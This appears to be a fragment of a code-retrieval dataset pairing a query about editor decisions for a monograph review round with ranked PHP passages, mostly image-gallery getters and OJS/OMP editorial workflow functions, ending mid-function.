GalleryImageStore\n {\n if (is_null(self::$instance)) {\n self::$instance = new GalleryImageStore(Connection::get());\n }\n\n return self::$instance;\n }", "title": "" }, { "docid": "23cdd51fb7597fd35948feb74f78a8dd", "score": "0.5391058", "text": "public function image()\n {\n \t//polimorfismo a uno\n \treturn $this->morphOne(Image::class, 'imageable');\n }", "title": "" }, { "docid": "2752099580873207ad31fda8f5fc5cef", "score": "0.5377497", "text": "public function get_image()\n {\n return $this->_img;\n }", "title": "" }, { "docid": "9a721dfbe7cb9296e1c2353cda6f02b8", "score": "0.5362024", "text": "protected function getProductMediaManager()\n {\n return $this->get('sulu_product.product_media_manager');\n }", "title": "" }, { "docid": "8167ffc2d1772cf7bb4b5c2df2bdad76", "score": "0.5357172", "text": "public function mountHasImages()\n {\n $owner = $this->getMediaModel();\n\n $this->images = $owner->getMedia('images')->map(function ($media) {\n return [\n 'id' => $media->id,\n 'sort_key' => Str::random(),\n 'thumbnail' => $media->getFullUrl('medium'),\n 'original' => $media->getFullUrl(),\n 'preview' => false,\n 'caption' => $media->getCustomProperty('caption'),\n 'primary' => $media->getCustomProperty('primary'),\n 'position' => $media->getCustomProperty('position', 1),\n ];\n })->sortBy('position')->values()->toArray();\n }", "title": "" }, { "docid": "1369aae87129d71bfcbc93b9b2d6ab6c", "score": "0.53533596", "text": "public function getImage()\n {\n return Yii::$app->storage->getImage($this->image_id);\n }", "title": "" }, { "docid": "cd95b3ddb44e391775d5c707b93b99da", "score": "0.53459513", "text": "public static function getInstance()\n {\n return Doctrine_Core::getTable('PluginsfImagePoolImage');\n }", "title": "" }, { "docid": "eced7c385f1f4fb732dd014cb4429066", "score": "0.53446907", "text": "public function images(){\n $ci =& get_instance();\n $query = $ci->db->query(\"select * from product_images where pid = \".$this->id);\n return $query->custom_result_object('Product_imagesEntity');\n }", "title": "" }, { "docid": "b1df5a8610b8bd519e725d2fdce0f2c0", "score": "0.53417796", "text": "public function getImg_inst()\n {\n return $this->img_inst;\n }", "title": "" }, { "docid": "176df4547e61ec3c7b31f624c33f7481", "score": "0.5341217", "text": "public function images()\n {\n return $this->hasMany('App\\Models\\Images', 'container_id');\n }", "title": "" }, { "docid": "893ff919d64e1d2b287f2f35accf3e96", "score": "0.5340862", "text": "public function getImage() {\n\t\treturn $this->image;\n\t}", "title": "" }, { "docid": "893ff919d64e1d2b287f2f35accf3e96", "score": "0.5340862", "text": "public function getImage() {\n\t\treturn $this->image;\n\t}", "title": "" }, { "docid": "1846f2faac2145e282eb48e27ea30906", "score": "0.5324333", "text": "public function getImage()\n {\n return $this->get('image');\n }", "title": "" }, { "docid": "38460e50425e658d7062bc4ffbd5bbbf", "score": "0.5307047", "text": "public function getImage()\r\n {\r\n return $this->image;\r\n }", "title": "" }, { "docid": "38460e50425e658d7062bc4ffbd5bbbf", "score": "0.5307047", "text": "public function getImage()\r\n {\r\n return $this->image;\r\n }", "title": "" }, { "docid": "4645224c2a53f5cf98aec58b85148dec", "score": "0.5300068", "text": "function get_metabox_image_gallery($key){\n $image = 0;\n $images = rwmb_meta( $key, array( 'size' => 'thumbnail' ) );\n return $images;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "d0b17f1fd5d7dedcf3274643c6de703e", "score": "0.52912885", "text": "public function getImage()\n {\n return $this->image;\n }", "title": "" }, { "docid": "77245f57af161b92f5a620a8ff3f6437", "score": "0.52679193", "text": "public function images()\n {\n return $this->morphMany( Image::class, 'ownerable', 'owner_type', 'owner_id' );\n }", "title": "" }, { "docid": "a20a5a0ecb00d721ce74c0dd116c87c9", "score": "0.526113", "text": "public function getImage()\n\t{\n\t\treturn $this->image;\n\t}", "title": "" }, { "docid": "f845e8e0f51e9822a3bfde4f4646c6e7", "score": "0.5256522", "text": "public function getMetaImage();", "title": "" }, { "docid": "26af1b8f8b1a0e50b306d1466b617bb8", "score": "0.52538085", "text": "public function getImage() {\n return $this->image;\n }", "title": "" }, { "docid": "26af1b8f8b1a0e50b306d1466b617bb8", "score": "0.52538085", "text": "public function getImage() {\n return $this->image;\n }", "title": "" }, { "docid": "7955b7cb9cbedfce2bff4511bb882869", "score": "0.52535444", "text": "public function findExistingGallery() {\n\n //TODO: Find by image because we could accidentally repost images\n\n $gallery = Gallery::findByIdentifier($this->scraper, $this->id)->ttl(0)->one();\n if ($gallery != null) return $gallery;\n\n $gallery = Gallery::findByUrl($this->url)->ttl(0)->one();\n if ($gallery != null) return $gallery;\n\n /** @var Image[] $images */\n $images = Image::find()->where(['origin', $this->images ])->all();\n if ($images != null && count($images) > 0)\n return $images[0]->getGallery()->one();\n\n return null;\n }", "title": "" }, { "docid": "bef2be08e34dde1b810d668cd63ab279", "score": "0.52497756", "text": "function get_object ($container,$image)\t\t\t\t\n\t{\n\t\t$objstore = $this->connection->ObjectStore('cloudFiles', 'ORD');\n\t\t$cont = $objstore->Container($container);\n\t\t$myphoto = $cont->DataObject($image);\n\t\t$myphoto->SaveToFilename(FCPATH.DOWNLOAD_DIR.$image);\n\n\t}", "title": "" }, { "docid": "64afc9db11672774aa3ae540d8d7f77d", "score": "0.52416855", "text": "public function getmediagallery() {\n /**\n * Getting entity attribute model\n */\n return Mage::getResourceModel ( 'eav/entity_attribute' )->getIdByCode ( 'catalog_product', 'media_gallery' );\n }", "title": "" }, { "docid": "c390217853b0864b0413f07ec0d673c0", "score": "0.52404344", "text": "public function getReaderImage()\n\t{\n\t\treturn $this->reader_image;\n\t}", "title": "" }, { "docid": "0d17f3481f30ea5956a3e923b2ef8ba1", "score": "0.52295035", "text": "public function image()\n {\n return $this->morphOne(Image::class, 'imageable');\n }", "title": "" }, { "docid": "0d17f3481f30ea5956a3e923b2ef8ba1", "score": "0.52295035", "text": "public function image()\n {\n return $this->morphOne(Image::class, 'imageable');\n }", "title": "" }, { "docid": "f3d6424155d00f597ae39184a0dcd6dc", "score": "0.52267724", "text": "abstract protected function getObjectManager($managerName = null);", "title": "" }, { "docid": "2d90bb0a5d31a66b2b1379849493833d", "score": "0.5223478", "text": "public function getImage(){\n\t\treturn $this->image;\n\t}", "title": "" }, { "docid": "8df16bca3793733258522c1ee8aaf742", "score": "0.5222727", "text": "private function getImagick(PhalconImagick $image): Imagick\n {\n return $image->getImage();\n }", "title": "" }, { "docid": "4908620ce5680233dcd932ab68e65fc1", "score": "0.5210379", "text": "public function load(ObjectManager $manager)\n {\n $finder = new Finder();\n\n for ($i = 1; $i <= 5; $i++) {\n $albumDirectoryRelativePath = self::ALBUMS_PATH . DIRECTORY_SEPARATOR . $i;\n $albumDirectoryAbsolutePath = $this->container->getParameter('web_dir') . $albumDirectoryRelativePath;\n $finder->files()->in($albumDirectoryAbsolutePath);\n $sortOrder = 1;\n\n /** @var SplFileInfo $file */\n foreach ($finder as $file) {\n $image = new Image();\n $image->setPath($albumDirectoryRelativePath . DIRECTORY_SEPARATOR . $file->getRelativePathname());\n $image->setTitle($file->getRelativePathname());\n $image->setSortOrder($sortOrder++);\n $image->setAlbum($this->getReference(LoadAlbumData::ALBUM_REFERENCE_NAME . $i));\n $manager->persist($image);\n }\n $manager->flush();\n }\n }", "title": "" }, { "docid": "0463fe9e2fa78eebfb3a9af0b9e88969", "score": "0.52096766", "text": "abstract protected function loadImage();", "title": "" }, { "docid": "ccf4edd5854253c5ea2d7b5bf21b5f63", "score": "0.5209041", "text": "public function fetchImages()\n {\n try {\n $api_client = new Client();\n $list = $api_client->getImagesByArticles($this->HailID);\n } catch (\\Exception $ex) {\n return;\n }\n\n $hailIdList = [];\n\n // Clean before importing\n $this->ImageGallery()->removeAll();\n\n foreach ($list as $hailData) {\n // Build up Hail ID list\n $hailIdList[] = $hailData['id'];\n\n // Check if we can find an existing item.\n $hailObj = Image::get()->filter(['HailID' => $hailData['id']])->First();\n\n if (!$hailObj) {\n $hailObj = new Image();\n }\n $hailObj->OrganisationID = $this->OrganisationID;\n $hailObj->HailOrgID = $this->HailOrgID;\n $hailObj->HailOrgName = $this->HailOrgName;\n\n $hailObj->importHailData($hailData);\n $this->ImageGallery()->add($hailObj);\n }\n }", "title": "" }, { "docid": "eec91f72e38d72d416cdf7a8bc005295", "score": "0.5208144", "text": "protected function getContainer(): ContainerInferface\n { \n return Container::getInstance();\n }", "title": "" }, { "docid": "84051c897b863e8d6ba29aa3922fb21f", "score": "0.5193646", "text": "private static function fetchImageAPI() {\n $api_query_params = http_build_query( array(\n 'action' => 'parse',\n 'text' => '{{Potd}}',\n 'contentmodel' => 'wikitext',\n 'prop' => 'images',\n 'format' => 'json',\n ) );\n\n $api_url =\n self::$wiki_url .\n self::$wiki_api_url .\n '?' . $api_query_params;\n\n $api_result = file_get_contents( $api_url );\n\n if ( empty( $api_result ) ) {\n return false;\n }\n\n $json = json_decode( $api_result );\n\n if ( empty( $json ) ||\n !isset( $json->parse ) ||\n !isset( $json->parse->images ) ||\n !isset( $json->parse->images[0] )\n ) {\n return false;\n }\n\n return (string) $json->parse->images[0];\n }", "title": "" }, { "docid": "1a522f083b32ab1e053558264613d17e", "score": "0.51723164", "text": "public function getImage(): ?CatalogObject\n {\n return $this->image;\n }", "title": "" }, { "docid": "1b918be7f2ae6128e888e0a44533242b", "score": "0.5164659", "text": "private function container() {\n return \\Drupal::getContainer();\n }", "title": "" }, { "docid": "1b918be7f2ae6128e888e0a44533242b", "score": "0.5164659", "text": "private function container() {\n return \\Drupal::getContainer();\n }", "title": "" }, { "docid": "f448287409589f628511953495f08243", "score": "0.5162821", "text": "public function getImage()\n {\n if ($this->selectedImage) {\n return $this->selectedImage;\n } else {\n $images = $this->getImages();\n if (isset($images[0])) {\n return $images[0];\n }\n }\n return null;\n }", "title": "" }, { "docid": "fe4a141e621f0c284520e59fd31e3e90", "score": "0.51620007", "text": "public abstract function getThumbnail();", "title": "" }, { "docid": "ab28d5c538ef1416adad11b19536ae60", "score": "0.515821", "text": "public function image()\n {\n return $this->morphOne(Image::class, 'imageable')\n ->where(function($q){\n $q->whereNull('featured')->orWhere('featured', 0);\n })->orderBy('order', 'asc');\n }", "title": "" }, { "docid": "f94d7e268ce305b805ff0d39db341e8b", "score": "0.51563925", "text": "public function image()\n {\n return $this->morphOne(Image::class,'imageable');\n }", "title": "" }, { "docid": "3f318b2d24588136b4fa9a60f1b87f4b", "score": "0.5140829", "text": "public function getImage()\n {\n if(count($this->getImages()) > 0)\n {\n\n return $this->getImages()[0];\n }\n\n return $this->getDefaultImage();\n }", "title": "" } ]
94aec42d579b7a7c6804ef9c36ccd113
Miscellaneous Get the editor decisions for a review round of a monograph.
[ { "docid": "5fdda182764e22d34def8e8a20bd0876", "score": "0.5957719", "text": "function getEditorDecisions($monographId, $reviewType = null, $round = null) {\n\t\t$decisions = array();\n\n\t\tif ($reviewType == null) {\n\t\t\t$result =& $this->retrieve(\n\t\t\t\t\t'SELECT edit_decision_id, editor_id, decision, date_decided, review_type, round \n\t\t\t\t\tFROM edit_decisions \n\t\t\t\t\tWHERE monograph_id = ? \n\t\t\t\t\tORDER BY date_decided ASC', \n\t\t\t\t\t$monographId\n\t\t\t\t);\n\t\t} elseif ($round == null) {\n\t\t\t$result =& $this->retrieve(\n\t\t\t\t\t'SELECT edit_decision_id, editor_id, decision, date_decided, review_type, round \n\t\t\t\t\tFROM edit_decisions \n\t\t\t\t\tWHERE monograph_id = ? AND review_type = ? \n\t\t\t\t\tORDER BY date_decided ASC', \n\t\t\t\t\tarray($monographId, $reviewType)\n\t\t\t\t);\n\t\t} else {\n\t\t\t$result =& $this->retrieve(\n\t\t\t\t\t'SELECT edit_decision_id, editor_id, decision, date_decided, review_type, round \n\t\t\t\t\tFROM edit_decisions \n\t\t\t\t\tWHERE monograph_id = ? AND review_type = ? AND round = ?\n\t\t\t\t\tORDER BY date_decided ASC', \n\t\t\t\t\tarray($monographId, $reviewType, $round)\n\t\t\t\t);\n\t\t}\n\t\t\n\t\twhile (!$result->EOF) {\n\t\t\t$value = array(\n\t\t\t\t\t'editDecisionId' => $result->fields['edit_decision_id'], \n\t\t\t\t\t'editorId' => $result->fields['editor_id'], \n\t\t\t\t\t'decision' => $result->fields['decision'], \n\t\t\t\t\t'dateDecided' => $this->datetimeFromDB($result->fields['date_decided'])\n\t\t\t\t);\n\n\t\t\t$decisions[] = $value;\n\t\t\t$result->moveNext();\n\t\t}\n\t\t$result->Close();\n\t\tunset($result);\n\n\t\treturn $decisions;\n\t}", "title": "" } ]
[ { "docid": "b002b142ec33ffc0a1a7912167122543", "score": "0.6164185", "text": "function _internalReviewStageDecisions() {\n\t\tstatic $decisions = array(\n\t\t\tSUBMISSION_EDITOR_DECISION_PENDING_REVISIONS => array(\n\t\t\t\t'operation' => 'sendReviews',\n\t\t\t\t'name' => 'requestRevisions',\n\t\t\t\t'title' => 'editor.monograph.decision.requestRevisions',\n\t\t\t\t'image' => 'revisions'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_RESUBMIT => array(\n\t\t\t\t'operation' => 'sendReviews',\n\t\t\t\t'name' => 'resubmit',\n\t\t\t\t'title' => 'editor.monograph.decision.resubmit',\n\t\t\t\t'image' => 'resubmit'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_EXTERNAL_REVIEW => array(\n\t\t\t\t'operation' => 'promote',\n\t\t\t\t'name' => 'externalReview',\n\t\t\t\t'title' => 'editor.monograph.decision.externalReview',\n\t\t\t\t'image' => 'advance'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_ACCEPT => array(\n\t\t\t\t'operation' => 'promote',\n\t\t\t\t'name' => 'accept',\n\t\t\t\t'title' => 'editor.monograph.decision.accept',\n\t\t\t\t'image' => 'promote'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_DECLINE => array(\n\t\t\t\t'operation' => 'sendReviews',\n\t\t\t\t'name' => 'decline',\n\t\t\t\t'title' => 'editor.monograph.decision.decline',\n\t\t\t\t'image' => 'decline'\n\t\t\t)\n\t\t);\n\n\t\treturn $decisions;\n\t}", "title": "" }, { "docid": "626a25891a84272878cc00e766bd8b08", "score": "0.57831013", "text": "public function determineStatus() {\n\t\timport('lib.pkp.classes.submission.SubmissionFile'); // Submission file constants\n\n\t\t// Check if revisions requested or received, if this is latest review round and then check files\n\t\t$roundStatus = $this->getStatus();\n\n\t\t// If revisions have been requested, check to see if any have been\n\t\t// submitted\n\t\tif ($this->getStatus() == REVIEW_ROUND_STATUS_REVISIONS_REQUESTED || $this->getStatus() == REVIEW_ROUND_STATUS_REVISIONS_SUBMITTED) {\n\t\t\t$submissionFileDao = DAORegistry::getDAO('SubmissionFileDAO');\n\t\t\t$submissionFiles = $submissionFileDao->getRevisionsByReviewRound($this, SUBMISSION_FILE_REVIEW_REVISION);\n\t\t\tif (empty($submissionFiles)) {\n\t\t\t\treturn REVIEW_ROUND_STATUS_REVISIONS_REQUESTED;\n\t\t\t}\n\t\t\treturn REVIEW_ROUND_STATUS_REVISIONS_SUBMITTED;\n\t\t}\n\n\t\t// Leave the status alone if it is set to one of the EditorDecisions\n\t\t// which have advanced the submission beyond this round\n\t\t$statusFinished = in_array(\n\t\t\t$this->getStatus(),\n\t\t\tarray(\n\t\t\t\tREVIEW_ROUND_STATUS_RESUBMITTED,\n\t\t\t\tREVIEW_ROUND_STATUS_SENT_TO_EXTERNAL,\n\t\t\t\tREVIEW_ROUND_STATUS_ACCEPTED,\n\t\t\t\tREVIEW_ROUND_STATUS_DECLINED\n\t\t\t)\n\t\t);\n\t\tif ($statusFinished) {\n\t\t\treturn $this->getStatus();\n\t\t}\n\n\t\t// Determine the round status by looking at the recommendOnly editor assignment statuses\n\t\t$stageAssignmentDao = DAORegistry::getDAO('StageAssignmentDAO');\n\t\t$editDecisionDao = DAORegistry::getDAO('EditDecisionDAO');\n\t\t$pendingRecommendations = false;\n\t\t$recommendationsFinished = true;\n\t\t$recommendationsReady = false;\n\t\t$editorsStageAssignments = $stageAssignmentDao->getEditorsAssignedToStage($this->getSubmissionId(), $this->getStageId());\n\t\tforeach ($editorsStageAssignments as $editorsStageAssignment) {\n\t\t\tif ($editorsStageAssignment->getRecommendOnly()) {\n\t\t\t\t$pendingRecommendations = true;\n\t\t\t\t// Get recommendation from the assigned recommendOnly editor\n\t\t\t\t$editorId = $editorsStageAssignment->getUserId();\n\t\t\t\t$editorRecommendations = $editDecisionDao->getEditorDecisions($this->getSubmissionId(), $this->getStageId(), $this->getRound(), $editorId);\n\t\t\t\tif (empty($editorRecommendations)) {\n\t\t\t\t\t$recommendationsFinished = false;\n\t\t\t\t} else {\n\t\t\t\t\t$recommendationsReady = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ($pendingRecommendations) {\n\t\t\tif ($recommendationsFinished) {\n\t\t\t\treturn REVIEW_ROUND_STATUS_RECOMMENDATIONS_COMPLETED;\n\t\t\t} elseif ($recommendationsReady) {\n\t\t\t\treturn REVIEW_ROUND_STATUS_RECOMMENDATIONS_READY;\n\t\t\t}\n\t\t}\n\n\t\t// Determine the round status by looking at the assignment statuses\n\t\t$anyOverdueReview = false;\n\t\t$anyIncompletedReview = false;\n\t\t$anyUnreadReview = false;\n\t\timport('lib.pkp.classes.submission.reviewAssignment.ReviewAssignmentDAO');\n\t\t$reviewAssignmentDao = DAORegistry::getDAO('ReviewAssignmentDAO');\n\t\t$reviewAssignments = $reviewAssignmentDao->getByReviewRoundId($this->getId());\n\t\tforeach ($reviewAssignments as $reviewAssignment) {\n\t\t\tassert(is_a($reviewAssignment, 'ReviewAssignment'));\n\n\t\t\t$assignmentStatus = $reviewAssignment->getStatus();\n\n\t\t\tswitch ($assignmentStatus) {\n\t\t\t\tcase REVIEW_ASSIGNMENT_STATUS_DECLINED:\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase REVIEW_ASSIGNMENT_STATUS_RESPONSE_OVERDUE:\n\t\t\t\tcase REVIEW_ASSIGNMENT_STATUS_REVIEW_OVERDUE:\n\t\t\t\t\t$anyOverdueReview = true;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase REVIEW_ASSIGNMENT_STATUS_AWAITING_RESPONSE:\n\t\t\t\tcase REVIEW_ASSIGNMENT_STATUS_ACCEPTED:\n\t\t\t\t\t$anyIncompletedReview = true;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase REVIEW_ASSIGNMENT_STATUS_RECEIVED:\n\t\t\t\t\t$anyUnreadReview = true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// Find the correct review round status based on the state of\n\t\t// the current review assignments. The check order matters: the\n\t\t// first conditions override the others.\n\t\tif (empty($reviewAssignments)) {\n\t\t\treturn REVIEW_ROUND_STATUS_PENDING_REVIEWERS;\n\t\t} elseif ($anyOverdueReview) {\n\t\t\treturn REVIEW_ROUND_STATUS_REVIEWS_OVERDUE;\n\t\t} elseif ($anyUnreadReview) {\n\t\t\treturn REVIEW_ROUND_STATUS_REVIEWS_READY;\n\t\t} elseif ($anyIncompletedReview) {\n\t\t\treturn REVIEW_ROUND_STATUS_PENDING_REVIEWS;\n\t\t} elseif ($pendingRecommendations) {\n\t\t\treturn REVIEW_ROUND_STATUS_PENDING_RECOMMENDATIONS;\n\t\t}\n\t\treturn REVIEW_ROUND_STATUS_REVIEWS_COMPLETED;\n\t}", "title": "" }, { "docid": "b80d8095038ecd2c5c08485b0ed91e46", "score": "0.5672935", "text": "function _externalReviewStageDecisions() {\n\t\tstatic $decisions = array(\n\t\t\tSUBMISSION_EDITOR_DECISION_PENDING_REVISIONS => array(\n\t\t\t\t'operation' => 'sendReviews',\n\t\t\t\t'name' => 'requestRevisions',\n\t\t\t\t'title' => 'editor.monograph.decision.requestRevisions'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_RESUBMIT => array(\n\t\t\t\t'operation' => 'sendReviews',\n\t\t\t\t'name' => 'resubmit',\n\t\t\t\t'title' => 'editor.monograph.decision.resubmit'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_ACCEPT => array(\n\t\t\t\t'operation' => 'promote',\n\t\t\t\t'name' => 'accept',\n\t\t\t\t'title' => 'editor.monograph.decision.accept',\n\t\t\t\t'image' => 'approve'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_DECLINE => array(\n\t\t\t\t'operation' => 'sendReviews',\n\t\t\t\t'name' => 'decline',\n\t\t\t\t'title' => 'editor.monograph.decision.decline',\n\t\t\t\t'image' => 'delete'\n\t\t\t)\n\t\t);\n\n\t\treturn $decisions;\n\t}", "title": "" }, { "docid": "772b0b31e55b0ac5c989e81373552e60", "score": "0.5527131", "text": "function &getEditorDecisionOptions() {\n\t\tstatic $editorDecisionOptions = array(\n\t\t\t'' => 'common.chooseOne',\n\t\t\tSUBMISSION_EDITOR_DECISION_ACCEPT => 'editor.article.decision.accept',\n\t\t\tSUBMISSION_EDITOR_DECISION_PENDING_REVISIONS => 'editor.article.decision.pendingRevisions',\n\t\t\tSUBMISSION_EDITOR_DECISION_RESUBMIT => 'editor.article.decision.resubmit',\n\t\t\tSUBMISSION_EDITOR_DECISION_DECLINE => 'editor.article.decision.decline'\n\t\t);\n\t\treturn $editorDecisionOptions;\n\t}", "title": "" }, { "docid": "ee22e03c9ba7f4363c34f31c41aed163", "score": "0.5511547", "text": "function &getDecisions($round = null) {\n\t\tif ($round == null) {\n\t\t\treturn $this->editorDecisions;\n\t\t} else {\n\t\t\tif (isset($this->editorDecisions[$round])) return $this->editorDecisions[$round];\n\t\t}\n\t\t$returner = null;\n\t\treturn $returner;\n\t}", "title": "" }, { "docid": "bcd1c1e1ac2514c3f0e39453c43dcd24", "score": "0.5504704", "text": "function _submissionStageDecisions() {\n\t\tstatic $decisions = array(\n\t\t\tSUBMISSION_EDITOR_DECISION_ACCEPT => array(\n\t\t\t\t'name' => 'accept',\n\t\t\t\t'operation' => 'promote',\n\t\t\t\t'title' => 'editor.monograph.decision.accept',\n\t\t\t\t'image' => 'promote'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_DECLINE => array(\n\t\t\t\t'name' => 'decline',\n\t\t\t\t'operation' => 'sendReviews',\n\t\t\t\t'title' => 'editor.monograph.decision.decline',\n\t\t\t\t'image' => 'decline'\n\t\t\t),\n\t\t\tSUBMISSION_EDITOR_DECISION_INITIATE_REVIEW => array(\n\t\t\t\t'name' => 'initiateReview',\n\t\t\t\t'operation' => 'initiateReview',\n\t\t\t\t'title' => 'editor.monograph.initiateReview',\n\t\t\t\t'image' => 'advance'\n\t\t\t)\n\t\t);\n\n\t\treturn $decisions;\n\t}", "title": "" }, { "docid": "2df92c7ab7e07db14c771c5389fbcff2", "score": "0.54588836", "text": "public function processReviewAction();", "title": "" }, { "docid": "9b350b38f02bd8e64878c85a374df835", "score": "0.53703463", "text": "function getHighlightClass() {\n\t\t$signoffDao =& DAORegistry::getDAO('SignoffDAO');\n\t\t$overdueSeconds = 60 * 60 * 24 * 14; // Two weeks\n\n\t\t// Submissions that are not still queued (i.e. published) are not highlighted.\n\t\tif ($this->getStatus() != STATUS_QUEUED) return null;\n\n\t\t// Awaiting assignment.\n\t\t$editAssignments = $this->getEditAssignments();\n\t\tif (empty($editAssignments)) return 'highlight';\n\n\t\t$journal =& Request::getJournal();\n\t\t// Sanity check\n\t\tif (!$journal || $journal->getId() != $this->getJournalId()) return null;\n\n\t\t// Check whether it's in review or editing.\n\t\t$inEditing = false;\n\t\t$decisionsEmpty = true;\n\t\t$lastDecisionDate = null;\n\t\t$decisions = $this->getDecisions();\n\t\t$decision = array_pop($decisions);\n\t\tif (!empty($decision)) {\n\t\t\t$latestDecision = array_pop($decision);\n\t\t\tif (is_array($latestDecision)) {\n\t\t\t\tif ($latestDecision['decision'] == SUBMISSION_EDITOR_DECISION_ACCEPT) $inEditing = true;\n\t\t\t\t$decisionsEmpty = false;\n\t\t\t\t$lastDecisionDate = strtotime($latestDecision['dateDecided']);\n\t\t\t}\n\t\t}\n\n\t\tif ($inEditing) {\n\t\t\t// ---\n\t\t\t// --- Highlighting conditions for submissions in editing\n\t\t\t// ---\n\n\t\t\t// COPYEDITING\n\n\t\t\t// First round of copyediting\n\t\t\t$initialSignoff = $signoffDao->build('SIGNOFF_COPYEDITING_INITIAL', ASSOC_TYPE_ARTICLE, $this->getId());\n\t\t\t$dateCopyeditorNotified = $initialSignoff->getDateNotified() ?\n\t\t\t\tstrtotime($initialSignoff->getDateNotified()) : 0;\n\t\t\t$dateCopyeditorUnderway = $initialSignoff->getDateUnderway() ?\n\t\t\t\tstrtotime($initialSignoff->getDateUnderway()) : 0;\n\t\t\t$dateCopyeditorCompleted = $initialSignoff->getDateCompleted() ?\n\t\t\t\tstrtotime($initialSignoff->getDateCompleted()) : 0;\n\t\t\t$dateCopyeditorAcknowledged = $initialSignoff->getDateAcknowledged() ?\n\t\t\t\tstrtotime($initialSignoff->getDateAcknowledged()) : 0;\n\t\t\t$dateLastCopyeditor = max($dateCopyeditorNotified, $dateCopyeditorUnderway);\n\n\t\t\t// If the Copyeditor has not been notified, highlight.\n\t\t\tif (!$dateCopyeditorNotified) return 'highlightCopyediting';\n\n\t\t\t// Check if the copyeditor is overdue on round 1\n\t\t\tif (\t$dateLastCopyeditor &&\n\t\t\t\t!$dateCopyeditorCompleted &&\n\t\t\t\t$dateLastCopyeditor + $overdueSeconds < time()\n\t\t\t) return 'highlightCopyediting';\n\n\t\t\t// Check if acknowledgement is overdue for CE round 1\n\t\t\tif ($dateCopyeditorCompleted && !$dateCopyeditorAcknowledged) return 'highlightCopyediting';\n\n\t\t\t// Second round of copyediting\n\t\t\t$authorSignoff = $signoffDao->build('SIGNOFF_COPYEDITING_AUTHOR', ASSOC_TYPE_ARTICLE, $this->getId());\n\t\t\t$dateCopyeditorAuthorNotified = $authorSignoff->getDateNotified() ?\n\t\t\t\tstrtotime($authorSignoff->getDateNotified()) : 0;\n\t\t\t$dateCopyeditorAuthorUnderway = $authorSignoff->getDateUnderway() ?\n\t\t\t\tstrtotime($authorSignoff->getDateUnderway()) : 0;\n\t\t\t$dateCopyeditorAuthorCompleted = $authorSignoff->getDateCompleted() ?\n\t\t\t\tstrtotime($authorSignoff->getDateCompleted()) : 0;\n\t\t\t$dateCopyeditorAuthorAcknowledged = $authorSignoff->getDateAcknowledged() ?\n\t\t\t\tstrtotime($authorSignoff->getDateAcknowledged()) : 0;\n\t\t\t$dateLastCopyeditorAuthor = max($dateCopyeditorAuthorNotified, $dateCopyeditorAuthorUnderway);\n\n\t\t\t// Check if round 2 is awaiting notification.\n\t\t\tif ($dateCopyeditorAcknowledged && !$dateCopyeditorAuthorNotified) return 'highlightCopyediting';\n\n\t\t\t// Check if acknowledgement is overdue for CE round 2\n\t\t\tif ($dateCopyeditorAuthorCompleted && !$dateCopyeditorAuthorAcknowledged) return 'highlightCopyediting';\n\n\t\t\t// Check if author is overdue on CE round 2\n\t\t\tif (\t$dateLastCopyeditorAuthor &&\n\t\t\t\t!$dateCopyeditorAuthorCompleted &&\n\t\t\t\t$dateLastCopyeditorAuthor + $overdueSeconds < time()\n\t\t\t) return 'highlightCopyediting';\n\n\t\t\t// Third round of copyediting\n\t\t\t$finalSignoff = $signoffDao->build('SIGNOFF_COPYEDITING_FINAL', ASSOC_TYPE_ARTICLE, $this->getId());\n\t\t\t$dateCopyeditorFinalNotified = $finalSignoff->getDateNotified() ?\n\t\t\t\tstrtotime($finalSignoff->getDateNotified()) : 0;\n\t\t\t$dateCopyeditorFinalUnderway = $finalSignoff->getDateUnderway() ?\n\t\t\t\tstrtotime($finalSignoff->getDateUnderway()) : 0;\n\t\t\t$dateCopyeditorFinalCompleted = $finalSignoff->getDateCompleted() ?\n\t\t\t\tstrtotime($finalSignoff->getDateCompleted()) : 0;\n\t\t\t$dateCopyeditorFinalAcknowledged = $finalSignoff->getDateAcknowledged() ?\n\t\t\t\tstrtotime($finalSignoff->getDateAcknowledged()) : 0;\n\t\t\t$dateLastCopyeditorFinal = max($dateCopyeditorFinalNotified, $dateCopyeditorUnderway);\n\n\t\t\t// Check if round 3 is awaiting notification.\n\t\t\tif ($dateCopyeditorAuthorAcknowledged && !$dateCopyeditorFinalNotified) return 